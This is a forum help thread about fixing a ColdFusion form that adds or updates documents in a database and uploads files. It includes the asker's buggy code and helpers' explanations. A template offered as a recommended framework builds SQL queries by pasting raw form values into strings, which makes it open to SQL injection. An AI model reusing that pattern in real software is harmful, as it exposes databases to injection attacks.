 <cfset SSMA_TimeStamp="" />
 <cfset DateRecordModified="" />

 

 <!--- text for form title and Button, when adding a document --->
 <cfset FormTitle="Add a Document">
 <cfset ButtonText="Add Document">

</cfif>


<!--- Page header --->
<cfinclude template="cep_header.cfm" />

<!--- Add/update Document form begins here --->
<cfform action="cep_document_process.cfm">

<cfif EditMode>
 <!--- Embed documentID (PK) and fileID as hidden fields --->
 <cfoutput>
<input type="hidden" name="documentID" value="#GetDocumentRecord.documentID#" />
<input type="hidden" name="fileID" value="#GetDocumentRecord.fileID#" />
  
 </cfoutput>
</cfif>

<table align="center" bgcolor="white">
 <tr>
  <th colspan="2">
   <cfoutput>
<h2>#FormTitle#</h2>
   </cfoutput>
  </th>
 </tr>
 <tr>
  <td>
   <p><strong>Document Title</strong></p>
  </td>
  <td>
   <cfinput type="Text"
            name="DocumentTitle"
            value="#DocumentTitle#"
            message="Document title is required!"
            required="Yes"
            validateAt="onSubmit,onServer"
            size="50"
            maxlength="100" />
  </td>
 </tr>
 <tr>
  <td>
   <p><strong>Document Type</strong></p>
  </td>
  <td>
   <select name="DocumentType" value="#DocumentType#" message="Please choose Document Type from the Document Type Select Menu" required="Yes" validateAt="onSubmit,onServer" >            <option value="Report">Report</option>
            <option value="Press Release">Press Release</option>
            <option value="Article">Article</option>
            <option value="Summary">Summary</option>
            <option value="Letter">Letter</option>
            <option value="Audio Transcript">Audio Transcript</option>
            <option value="Text Transcript">Text Transcript</option>
   </select>
            
          
  </td>
 </tr>


 <tr>
  <td>
   <p><strong>Document Author</strong></p>
  </td>
  <td>
   <cfinput type="Text"
            name="DocumentAuthor"
            value="#DocumentAuthor#"
            message="Enter Document Author Name"
            required="yes"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>



 <tr>
  <td>
   <p><strong>Document Abstract</strong></p>
  </td>
  <td>
   <cfoutput>
   <textarea name="DocumentAbstract" cols="40" rows="5" wrap="virtual">#DocumentAbstract#</textarea>
   </cfoutput>
  </td>
 </tr>
 
 
 <tr>
  <td>
   <p><strong>Publication Date (use form MM/DD/YYYY)</strong></p>
  </td>
  <td>
   <cfinput type="Text"
            name="DocumentPublicationDate"
            value="#DocumentPublicationDate#"
            message="Publication Date must be a valid date!"
            required="no"
            validate="date"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>


 <tr>
  <td>
<p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>



<!--- begin form.doSave to prevent form action processing as soon as page loads --->
<cfif isDefined("form.doSave")>

<cfset requestTimeout="5000000" />
  <cfset files = "doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt">
  <cfset destination ="c:\upload\cep-dc.org\">
 <cfset filter ="application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">



<!--- use CFTRY and CFCATCH to test that file were uploaded successfully, or not --->
 <cftry> 
  <cffile action="upload" filefield="FileContents" destination="#destination#" nameconflict="overwrite" accept = "application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

<cfif listFindNoCase("doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt", cffile.serverFileExt) eq 0>
    <cfthrow message="File did not upload; make sure to upload only permitted file types">
</cfif>

  <cfset fileuploaded = true>
  
  <cfcatch type="any">
    <cfset fileuploaded = false>
  </cfcatch>

</cftry>


<!--- if file were uploaded successfully --->
<cfif fileuploaded>

<div class="bluebox"><strong>File uploaded! Success!</strong></em></div>
 
 <!--- if file were not uploaded --->
  <cfelse>
  
  <div class="redbox"><strong>File did not upload. Make sure to upload only files with extension jpg, jpeg, png, gif, doc, docx, pdf, ppt, xls, xlsx, txt. Use the Browse button, below, to browse your computer or server for a file to upload.</strong></div>
  
  
   </cfif>
 <!--- end cfif fileuploaded --->
  
   
 
 <!--- end form.doSave --->
</cfif>

<cfinput type="file" size="25" accept="application/msexcel,application/msword,application/pdf,image/gif,image/jpeg,image/x-png" name="FileName" />

</td>

<td>&nbsp;</td>
 </tr>

 <tr>
  <td colspan="2" align="center">
   <cfoutput>
   <input name="doSave" type="submit" value="#ButtonText#" />
   </cfoutput>
  </td>
   </tr>
</table>



</cfform>


<!--- Page footer --->
<cfinclude template="cep_footer.cfm" />



cep_document_process.cfm

<!--- Update method, or add method? --->
<cfif IsDefined("FORM.DocumentID")>
 <cfset method="update">
<cfelse>
 <cfset method="add">
</cfif>

<!--- Process --->
<cfinvoke component="cep_documents" method="#method#">

 <!--- DocumentID is present only if method is "update" --->
  <cfif IsDefined("FORM.DocumentID")>
  <cfinvokeargument name="DocumentID"
                    value="#FORM.DocumentID#">
 </cfif>


 <cfinvokeargument name="DocumentTitle"
                   value="#Trim(FORM.DocumentTitle)#">
 <cfinvokeargument name="DocumentType"
                   value="#Trim(FORM.DocumentType)#">
 <cfinvokeargument name="DocumentAuthor"
                   value="#Trim(FORM.DocumentAuthor)#">
 <cfinvokeargument name="DocumentAbstract"
                   value="#Trim(FORM.DocumentAbstract)#">
 <cfinvokeargument name="DocumentPublicationDate"
                   value="#DateFormat(FORM.DocumentPublicationDate)#">
 <cfinvokeargument name="DateRecordModified"
                   value="#now()#">
 <cfinvokeargument name="FileName"
                   value="#Trim(FORM.FileName)#">
</cfinvoke>



<!--- When done go back to CEP Documents Control Panel --->
<cflocation url="index.cfm" />



cep_documents.cfc
<cfcomponent hint="CEP documents database access component">

 <!--- Set the datasource --->
 <cfset ds="ebwebwork">


 <!--- Get document list --->
 <cffunction name="list"
             returntype="query"
             hint="List all CEP Documents">

 <!--- in this query let's select all columns in tables tbl_CEP_documents and tbl_CEP_files to that the variables can be available to the list of documents on http://ebwebwork.com/cep/admin/ --->

  <cfquery datasource="#ds#"
           name="GetDocumentList">
  SELECT D.DocumentID
  	 , D.DocumentTitle
     , D.DocumentType
     , D.DocumentAuthor
     , D.DocumentAbstract
     , D.DocumentPublicationDate
     , D.SSMA_TimeStamp
     , D.DateRecordModified
     , F.DocumentID 
     , F.FileID
     , F.FileName
     , F.FileExtension
     , F.FileType
     , F.FileSize
     , F.isDeleted
FROM tbl_CEP_Documents D
  left join tbl_CEP_files F on F.documentID = D.documentID
  WHERE D.DocumentID = F.DocumentID
  ORDER BY D.DocumentID ASC
  </cfquery>
  <cfreturn GetDocumentList> 
 <!--- give same query name to cfreturn tag, above; if query is named GetDocumentList, then so is cfreturn --->
  </cffunction>


 <!--- Get document details --->
 <cffunction name="get"
             returntype="query"
             hint="Get document details">
  <cfargument name="DocumentID"
              type="numeric"
              required="yes"
              hint="document ID">

  <cfquery datasource="#ds#"
           name="GetDocumentDetails">
  SELECT DocumentID, DocumentTitle, DocumentType, DocumentAuthor, DocumentAbstract, DocumentPublicationDate, SSMA_TimeStamp, DateRecordModified
  FROM tbl_CEP_Documents
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#ARGUMENTS.DocumentID#">
  </cfquery>
  <cfreturn GetDocumentDetails>
  
   <!--- give query name to cfreturn tag, above --->
  
 </cffunction>


 <!--- Add a document --->
 <cffunction name="add"
             returntype="boolean"
             hint="Add a document">

  <!--- Method arguments --->
  <cfargument name="DocumentTitle"
              type="string"
              required="yes"
              hint="Document Title">
  <cfargument name="DocumentType"
              type="string"
              required="yes"
              hint="Document Type">
  <cfargument name="DocumentAuthor"
              type="string"
              required="yes"
              hint="Document Author">
  <cfargument name="DocumentAbstract"
              type="string"
              required="yes"
              hint="Document Abstract">
  <cfargument name="DocumentPublicationDate"
              type="date"
              required="yes"
              hint="Document Publication Date">


  <!--- Insert document --->
  <cfquery datasource="#ds#">
  INSERT INTO tbl_CEP_Documents(DocumentTitle,
                    DocumentType,
                    DocumentAuthor,
                    DocumentAbstract,
                    DocumentPublicationDate,
                    SSMA_TimeStamp)
  VALUES(
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.DocumentPublicationDate)#">,
  CURRENT_TIMESTAMP
         )         
  </cfquery>
  <cfreturn true>

 </cffunction>

 
 <!--- Update a document --->
 <cffunction name="update"
             returntype="boolean"
             hint="Update a document">
  <!--- Method arguments --->
  <cfargument name="DocumentID"
              type="numeric"
              required="yes"
              hint="document ID">
  <cfargument name="DocumentTitle"
              type="string"
              required="yes"
              hint="document title">
  <cfargument name="DocumentType"
              type="string"
              required="yes"
              hint="Document Type">
  <cfargument name="DocumentAuthor"
              type="string"
              required="yes"
              hint="Document Author">
  <cfargument name="DocumentAbstract"
              type="string"
              required="yes"
              hint="Document Abstract">
  <cfargument name="DocumentPublicationDate"
              type="date"
              required="yes"
              hint="This is the date, entered manually, that the publication was published by CEP">
  <cfargument name="DateRecordModified"
              type="date"
              required="yes"
              hint="Date Record Modifed">

  <!--- Update document --->
 <cfquery datasource="#ds#">
  UPDATE tbl_CEP_Documents
  SET   DocumentTitle = <cfqueryparam cfsqltype="cf_sql_varchar"  value="#Trim(ARGUMENTS.DocumentTitle)#">,
		DocumentType = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentType)#">,
		DocumentAuthor = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAuthor)#">,
	    DocumentAbstract = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAbstract)#">,
	    DocumentPublicationDate = <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.DocumentPublicationDate)#">,
	    DateRecordModified = <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#ARGUMENTS.DocumentID#">
  </cfquery>
  <cfreturn true>

 </cffunction>
 
 
 <!--- Delete a document --->
 <cffunction name="delete"
             returntype="boolean"
             hint="Delete a document">
  <cfargument name="DocumentID"
              type="numeric"
              required="yes"
              hint="document ID">

  <cfquery datasource="#ds#">
  DELETE FROM tbl_CEP_Documents
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#ARGUMENTS.DocumentID#">
  </cfquery>
  <cfreturn true>
  
 </cffunction>

</cfcomponent>

Open in new window

0
azadisaryevCommented:
first, some obvious things wrong with your code:

1) your form's action is set to cep_document_process.cfm, but your file uploading code - the <cfif isDefined("form.doSave")> block - is in the same page as the form (cep_document_edit.cfm). your file upload will thus never happen since form.doSave will never be defined in the form's page. the file uploading code needs to be in your form's action page.

2) <cfinvokeargument name="FileName" value="#Trim(FORM.FileName)#"> in your cep_document_process.cfm page:
you will probably be surprised to find that the value of form.filename is NOT the name of uploaded file. it is a name of a temporary file (really, with a .tmp extension) cf has created as part of the file uploading process.

you get the name of uploaded file as it has been saved on the server in cffile.serverfile variable, AFTER it has been uploaded using <cffile action="upload">. this is what you should be passing to your cfc as argument, NOT form.filename.

3) furthermore, there are no checks in your code for the fact that a file has actually been selected by user. your code just assumes that a user uploads a file both with new AND edited document. if a user does not select a file to be uploaded in your form, almost all of your code will fail (throw errors).

i would imagine you may want to make file upload mandatory for new documents, but editing documents may not always involve uploading a new file. your code (file upload and inserting/updating document data) should account for this.

4) >> "no record is created"

i am not sure what record you refer to: document data in tbl_CEP_Documents table or file data in tbl_CEP_files. if it's the latter, then no wonder - you do not have any code anywhere that actually inserts into / updates that table. both add and update methods in your cfc only insert / update data in tbl_CEP_Documents table.


i will await your reply to the above before going into debugging-related issues.
will just say that because you have <cflocation url="index.cfm" /> in your cep_document_process.cfm, you will unlikely see any debugging output you put in that page... and yes, <cfdump var="#form#"> should be the first line in that page.

Azadi
0
Eric BourlandAuthor Commented:
Azadi, thank you for this. =)

I am thinking very hard about your and gdemaria's responses. I am trying to take this task step by step and understand each part.

I am deeply grateful for your patience.

I am going to try very hard to come back here with some progress that shows I understand what you are saying.

Hope you are well. I'm sitting in a Starbucks in DC, drinking a lot of coffee, and focusing intently on this problem.

Eric
0
gdemariaCommented:
Eric,

 I would like to suggest you start from a simple framework.   The code below is a simple format where a form page submits to itself.   At the top of the page there is a CFIF statement that tests if the form was submitted, if it was, it validates the data and saves it (insert or update).   If there were any errors, the page falls through to redisplay the form with the user's entries still in tact.


 I am not sure why you use a cfc for your database changes.  It's perfectly fine to do and often part of many frameworks, but you don't seem to have a solid framework and I think it simply adds complexity to what you're trying to do.

 The page can be very simple, all in one file, you query, insert, update and display your form.   Upon successful save, you THEN redirect (using CFLOCATION) to another page.   This scenario handles errors very easily.  

 Check out the code and consider using this simple framework for all your files.


<cfparam name="form.userID" default="">

<cfset variables.error = ""> <!---- populate this with an error message ---->

<!---- if there is a form action to process, enter here and save to database ---->
<cfif IsDefined("FORM.doSave")>
  <cftry>  <!---- catch any errors, whether you throw them or the database does ---->

    <cfif len(form.fstnam) eq 0>
	  <cfthrow message="First Name is required">
	</cfif>
    <cfif len(form.username) eq 0>
	  <cfthrow message="Username is required">
    <cfelseif len(form.username) lt 6 or len(form.username) gt 20>
	  <cfthrow message="Username must be between 6 and 20 characters>
	</cfif>

    <!---- does the user already exist in the database? ----->
	<cfquery name ="checkUser" datasource = "#application.dsn#">
	  SELECT username FROM dbo.users
	  WHERE username ='#FORM.username#'
	  <cfif len(form.userID)> <!---- for users who are changing their username ---->
	    and  userID != #form.userID#
	  </cfif>
	</cfquery>
	<cfif checkuser.recordcount GT 0>
	   <cfthrow message="The username is already taken">
	</cfif>

	<!--- if you made it here, validation passed, then update the database ---->
	<cfif val(form.userID)> <!--- update existing user --->
		<cfquery name="UpdUser">
		 update users
		   set username = '#form.username#'
		     , fstname  = '#form.fstnam#'
		 where userID = #form.userID#
		</cfquery>
	<cfelse> <!---- insert to create a new user ---->
		<cfquery name="insUser">
		  insert users (fstnam,username)
		  values ('#form.fstnam#','#form.username#')
		</cfquery>
		<cfquery name="GetPkey" datasource="#application.dsn#">
          select SCOPE_IDENTITY( ) as ID
        </cfquery>  
        <cfset form.userID = GetPkey.ID>
	</cfif>
	
	<!--- everything went ok, no to next page --->
	<cflocation url="#cgi.script_name#?userID=#form.userID#" addtoken="No">
	
  <!-- this will trap any errors- the ones you threw 
   or just regular database issues --->
  <cfcatch type="Any">
    <cfset variables.error = cfcatch.error>
  </cfcatch>
  </cftry>
</cfif>

<!--- only fetch the data from the database when NO errors.
      if an error, then let the form variables pass back into the form to display ---->
<cfif len(variables.error) eq 0>
  <!--- get data and convert to form variables --->
  <cfquery name="getUsers" datasource="#application.dsn#">
    select * from users where userID = #val(form.userID)#
  </cfquery>
  <cfset form.fstname = getUsers.fstname>
  <cfset form.userID  = getUsers.userID>
  <cfset form.username = getUsers.username>
</cfif>


<cfif len(variables.error)> <!-- if an error, show it --->
 <cfoutput>
 <div style="border: 1px solid red; padding: 5px 10px 5px 10px; width:400px;">#variables.error#</div>
 </cfoutput>
</cfif>

<form method="post"> <!--- post to this page ---->
  <cfoutput>
  <p>
  <label for="fstnam">First Name</label>
  <input name="fstnam" type="text" value="#form.fstname#">
  </p><p>
  <label for="username">Login Name</label>
  <input name="username" type="text" value="#form.username#">
  </label>
  </p><p>
  <label>
    <input type="submit" name="doSave" value="Add_user">
  </label>
  <input name="userID" type="text" value="#form.userID#">
  </p>
  </cfoutput>
</form>

Open in new window

0
Eric BourlandAuthor Commented:
gdemaria,

I am studying this file you have sent me. I thought I was doing well, to use the CFC, but if you recommend that I do not do so, then I will proceed as you suggest.

I'll make progress on this task tomorrow and get back to you with my result.

Thank you as always. Have a great evening.

Eric
0
gdemariaCommented:
> I thought I was doing well, to use the CFC

CFCs can be very good, but they way you are using them, IMHO, is not very beneficial.  It's a lot more code, passing parameters back and forth, additional file without any real benefit.

Some coding methodologies use CFCs extensively, but since you're not using those, it is my opinion that you should simplify your coding add the power of handling errors easily by posting a form page to itself.   The attached sample can make your life much easier if you follow it with all your form pages.  Just my 2 cents.
0
Eric BourlandAuthor Commented:
gdemaria,

You've sold me on not using a CFC.

The code that you sent to me, above, looks like a login form that verifies UserID, Username, and First Name.

I understand that I need to extrapolate, from this code, another form that, instead of verifying user credentials, creates and updates documents in a database table.

I've been staring at this for a while and trying many different ideas.

I understand that instead of many CFM files -- cep_documents.cfc, cep_document_edit.cfm, cep_document_delete.cfm, and cep_document_process.cfm -- I will have only one CFM file. This would be great! If I can get it to work.

I believe I need to take most of the relevant code in my many document, and place it all correctly in the one document. I am working on this. I'll show you my work in a little while. I've worked on this last night and most of this morning. I believe I am making progress.

This is just a message to check in and let you know I am still on the ball. Thanks again for your help.

Eric
0
gdemariaCommented:
> looks like a login form that verifies UserID, Username, and First Name

No, actually.   The code is a portion of a user admin form that will create or update a  user profile.    The check you see is just to make sure the username does not already exist in the database.   The code throws an error if required fields are missing or if the username is already taken.   You can use this section to verify your requirements as well.

> I believe I need to take most of the relevant code in my many document, and place it all correctly in the one document.

Yes, don't over think this.  Where I have an insert statement, put in your insert statement.  Same with update.  Change my required fields to your required fields, etc.   Don't try to move in your CFC functions or anything, just the sql statements from it.

In the lower part, replace the form with your form (and fields).   Remove the form's action so the page submits to itself.   Post what you come up with and we'll help wrap it up
0
Eric BourlandAuthor Commented:
Got it.

I am about to board a plane and fly back to chicago, back to my office. I will resume work there and get back to you here ASAP.

Thank you again. Hope you are well.

eric
0
Eric BourlandAuthor Commented:
gdemaria and azadi,

I am back in my office and caught up, finally, on other busywork. I am working now on this code, per gdemaria's example. I'll report back here as soon as I have something to show.

Just wanted to check in.

Thank you again. Enjoy the Friday evening.

Best from Eric
0
Eric BourlandAuthor Commented:
gdemaria and azadi,

I took another stab at this single-page file that inserts and updates a document, and populates my two tables tbl_CEP_Documents and tbl_CEP_files.

I've been studying this and trying different ideas. I attach new code, below. I have tested the code extensively and have resolved as many errors as I could. There are some things I still do not understand.

The page is here: http://ebwebwork.com/cep/admin/

and the link to add or edit a document is in the upper left corner.

For one thing I am not sure where to add in these lines -- to tell the user when she is inserting a document, or when she is updating:


     <!--- text for form title and Button, when updating a document --->
 <cfset FormTitle="Update a Document">
 <cfset ButtonText="Update">
 
  <!--- text for form title and Button, when adding a document --->
 <cfset FormTitle="Add a Document">
 <cfset ButtonText="Add Document">

And I think I need to add in, again, CFIF statements to check for "EditMode"

<!--- Check that DocumentID has been provided --->
<!--- If yes, do method edit; else, do method add --->
<cfset EditMode=IsDefined("URL.DocumentID")>

<!--- If edit mode, then get row to edit --->
<cfif EditMode>

What do you think? I've been at this for a couple of days and am ready to show you some (broken) code and get your advice when you have time.

I know it's a holiday weekend so please, of course, don't worry about my coding problems and I hope you are enjoying a relaxing holiday with friends and family.

Thanks again for your help. Hope you are doing great.

Eric B
file: insert_update.cfm

<cfparam name="form.DocumentID" default="">

 <!--- Set the datasource --->
 <cfset ds="ebwebwork">

<cfset variables.error = ""> <!---- populate this with an error message ---->

<!---- if there is a form action to process, enter here and save to database ---->
<cfif IsDefined("FORM.doSave")>
  <cftry>  <!---- catch any errors, whether you throw them or the database does ---->

    <cfif len(form.DocumentTitle) eq 0>
	  <cfthrow message="Document Title is required">
	</cfif>
    <cfif len(form.DocumentType) eq 0>
	  <cfthrow message="Document Type is required">
	</cfif>

 <!--- in this query let's select all columns in tables tbl_CEP_documents and tbl_CEP_files to that the variables can be available to the list of documents on http://ebwebwork.com/cep/admin/ --->
 
 <cfquery datasource="#ds#"
           name="GetDocumentList">
  SELECT D.DocumentID
  	 , D.DocumentTitle
     , D.DocumentType
     , D.DocumentAuthor
     , D.DocumentAbstract
     , D.DocumentPublicationDate
     , D.SSMA_TimeStamp
     , D.DateRecordModified
     , F.DocumentID 
     , F.FileID
     , F.FileName
     , F.FileExtension
     , F.FileType
     , F.FileSize
     , F.isDeleted
FROM tbl_CEP_Documents D
  left join tbl_CEP_files F on F.documentID = D.documentID
  WHERE D.DocumentID = F.DocumentID
  ORDER BY D.DocumentID ASC
  </cfquery>
  
  
	<cfif DocumentTitle.recordcount GT 0>
	   <cfthrow message="The Document Title is already taken; please select another title">
	</cfif>
    

	<!--- if you made it here, validation passed, then update the database ---->
    

 

    
    <!--- update existing document --->
	<cfif val(form.DocumentID)> 
		<cfquery name="UpdateDocument" datasource="#ds#">
		 UPDATE tbl_CEP_Documents
  SET   DocumentTitle = <cfqueryparam cfsqltype="cf_sql_varchar"  value="#Trim(ARGUMENTS.DocumentTitle)#">,
		DocumentType = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentType)#">,
		DocumentAuthor = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAuthor)#">,
	    DocumentAbstract = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAbstract)#">,
	    DocumentPublicationDate = <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.DocumentPublicationDate)#">,
	    DateRecordModified = <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#ARGUMENTS.DocumentID#">
		</cfquery>
        
        
        
	<cfelse> 
	
	
	<!---- insert to create a new document ---->
    
    
		<cfquery name="InsertDocument" datasource="#ds#">
	 INSERT INTO tbl_CEP_Documents(DocumentTitle,
                    DocumentType,
                    DocumentAuthor,
                    DocumentAbstract,
                    DocumentPublicationDate,
                    SSMA_TimeStamp)
  VALUES(
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.DocumentPublicationDate)#">,
  CURRENT_TIMESTAMP
         )         
		</cfquery>
        
        
        	<!--- here is where I get further confused --->
        
		<cfquery name="GetPkey" datasource="#ds#">
          select SCOPE_IDENTITY( ) as ID
        </cfquery>  
        <cfset form.DocumentID = GetPkey.ID>
	</cfif>
	
	<!--- everything went ok, go to next page --->
	<cflocation url="#cgi.script_name#?DocumentID=#form.DocumentID#" addtoken="No">
	
  <!-- this will trap any errors- the ones you threw 
   or just regular database issues --->
  <cfcatch type="Any">
    <cfset variables.error = cfcatch.error>
  </cfcatch>
  </cftry>
</cfif>

<!--- only fetch the data from the database when NO errors.
      if an error, then let the form variables pass back into the form to display ---->
<cfif len(variables.error) eq 0>
  <!--- get data and convert to form variables --->
  <cfquery name="getDocumentDetails" datasource="#ds#">
    select * from tbl_CEP_Documents where DocumentID = #val(form.DocumentID)#
  </cfquery>
  
  
  
  
  
 <!--- Set default values for variables, so that variables are always defined --->
 <cfset DocumentTitle="" />
 <cfset DocumentType="" />
 <cfset DocumentAuthor="" />
 <cfset DocumentAbstract="" />
 <cfset DocumentPublicationDate="" />
 <cfset SSMA_TimeStamp="" />
 <cfset DateRecordModified="" />
</cfif>


<cfif len(variables.error)> <!-- if an error, show it --->
 <cfoutput>
 <div style="border: 1px solid red; padding: 5px 10px 5px 10px; width:400px;">#variables.error#</div>
 </cfoutput>
</cfif>


     <!--- text for form title and Button, when updating a document --- not sure where this goes --->
 <cfset FormTitle="Update a Document">
 <cfset ButtonText="Update">


  <!--- text for form title and Button, when adding a document --- not sure where this goes --->
 <cfset FormTitle="Add a Document">
 <cfset ButtonText="Add Document">


<!--- Add/update Document form begins here --->
<cfform action="cep_document_process.cfm">

<cfif EditMode>
 <!--- Embed documentID (PK) and fileID as hidden fields --->
 <cfoutput>
<input type="hidden" name="documentID" value="#GetDocumentRecord.documentID#" />
<input type="hidden" name="fileID" value="#GetDocumentRecord.fileID#" />
  
 </cfoutput>
</cfif>

<table align="center" bgcolor="white">
 <tr>
  <th colspan="2">
   <cfoutput>
<h2>#FormTitle#</h2>
   </cfoutput>
  </th>
 </tr>
 <tr>
  <td>
   <p><strong>Document Title</strong></p>
  </td>
  <td>
   <cfinput type="Text"
            name="DocumentTitle"
            value="#DocumentTitle#"
            message="Document title is required!"
            required="Yes"
            validateAt="onSubmit,onServer"
            size="50"
            maxlength="100" />
  </td>
 </tr>
 <tr>
  <td>
   <p><strong>Document Type</strong></p>
  </td>
  <td>
   <select name="DocumentType" value="#DocumentType#" message="Please choose Document Type from the Document Type Select Menu" required="Yes" validateAt="onSubmit,onServer" >            <option value="Report">Report</option>
            <option value="Press Release">Press Release</option>
            <option value="Article">Article</option>
            <option value="Summary">Summary</option>
            <option value="Letter">Letter</option>
            <option value="Audio Transcript">Audio Transcript</option>
            <option value="Text Transcript">Text Transcript</option>
   </select>
            
          
  </td>
 </tr>


 <tr>
  <td>
   <p><strong>Document Author</strong></p>
  </td>
  <td>
   <cfinput type="Text"
            name="DocumentAuthor"
            value="#DocumentAuthor#"
            message="Enter Document Author Name"
            required="yes"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>



 <tr>
  <td>
   <p><strong>Document Abstract</strong></p>
  </td>
  <td>
   <cfoutput>
   <textarea name="DocumentAbstract" cols="40" rows="5" wrap="virtual">#DocumentAbstract#</textarea>
   </cfoutput>
  </td>
 </tr>
 
 
 <tr>
  <td>
   <p><strong>Publication Date (use form MM/DD/YYYY)</strong></p>
  </td>
  <td>
   <cfinput type="Text"
            name="DocumentPublicationDate"
            value="#DocumentPublicationDate#"
            message="Publication Date must be a valid date!"
            required="no"
            validate="date"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>


 <tr>
  <td>
<p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>



<!--- begin form.doSave to prevent form action processing as soon as page loads --->
<cfif isDefined("form.doSave")>

<cfset requestTimeout="5000000" />
  <cfset files = "doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt">
  <cfset destination ="c:\upload\cep-dc.org\">
 <cfset filter ="application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">



<!--- use CFTRY and CFCATCH to test that file were uploaded successfully, or not --->
 <cftry> 
  <cffile action="upload" filefield="FileContents" destination="#destination#" nameconflict="overwrite" accept = "application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

<cfif listFindNoCase("doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt", cffile.serverFileExt) eq 0>
    <cfthrow message="File did not upload; make sure to upload only permitted file types">
</cfif>

  <cfset fileuploaded = true>
  
  <cfcatch type="any">
    <cfset fileuploaded = false>
  </cfcatch>

</cftry>


<!--- if file were uploaded successfully --->
<cfif fileuploaded>

<div class="bluebox"><strong>File uploaded! Success!</strong></em></div>
 
 <!--- if file were not uploaded --->
  <cfelse>
  
  <div class="redbox"><strong>File did not upload. Make sure to upload only files with extension jpg, jpeg, png, gif, doc, docx, pdf, ppt, xls, xlsx, txt. Use the Browse button, below, to browse your computer or server for a file to upload.</strong></div>
  
  
   </cfif>
 <!--- end cfif fileuploaded --->
  
   
 
 <!--- end form.doSave --->
</cfif>

<cfinput type="file" size="25" accept="application/msexcel,application/msword,application/pdf,image/gif,image/jpeg,image/x-png" name="FileName" />

</td>

<td>&nbsp;</td>
 </tr>

 <tr>
  <td colspan="2" align="center">
   <cfoutput>
   <input name="doSave" type="submit" value="#ButtonText#" />
   </cfoutput>
  </td>
   </tr>
</table>



</cfform>


<!--- Page footer --->
<cfinclude template="cep_footer.cfm" />

Open in new window

0
gdemariaCommented:
Looking good, first, this part inside your action:


 <!--- in this query let's select all columns in tables tbl_CEP_documents and tbl_CEP_files to that the variables can be available to the list of documents on http://ebwebwork.com/cep/admin/ --->
 
 <cfquery datasource="#ds#"  name="GetDocumentList">
   SELECT D.DocumentID
           , D.DocumentTitle
         , D.DocumentType
         , D.DocumentAuthor
         , D.DocumentAbstract
         , D.DocumentPublicationDate
         , D.SSMA_TimeStamp
         , D.DateRecordModified
         , F.DocumentID
         , F.FileID
         , F.FileName
         , F.FileExtension
         , F.FileType
         , F.FileSize
         , F.isDeleted
    FROM tbl_CEP_Documents D
    left join tbl_CEP_files F on F.documentID = D.documentID
  WHERE D.DocumentID = F.DocumentID
  ORDER BY D.DocumentID ASC
  </cfquery>
 
 
      <cfif DocumentTitle.recordcount GT 0>
         <cfthrow message="The Document Title is already taken; please select another title">
      </cfif>



If the intent of this part is to check to make sure the document name is not a duplicate, then you need to change this code.  

You need to add a where clause to fetch the document name that the user has entered, THEN if the record is found, it is a duplicate, if the record is not found, it is not in the database.    The SELECT clause doesn't have to have anything in it, you can SELECT 'Hello' from.... if you want because you are just testing to see if the record exist, you're not using the data at all..




0
gdemariaCommented:

The "action processor"  is the area that is inside the CFIF statement...

 <cfif IsDefined("FORM.doSave")>

    .... this is the action processor .....

 </cfif>


If you submit your form, the doSave value will be defined (because it's the name of the button) and the code will enter this section to process your actions (validate, insert/update record).

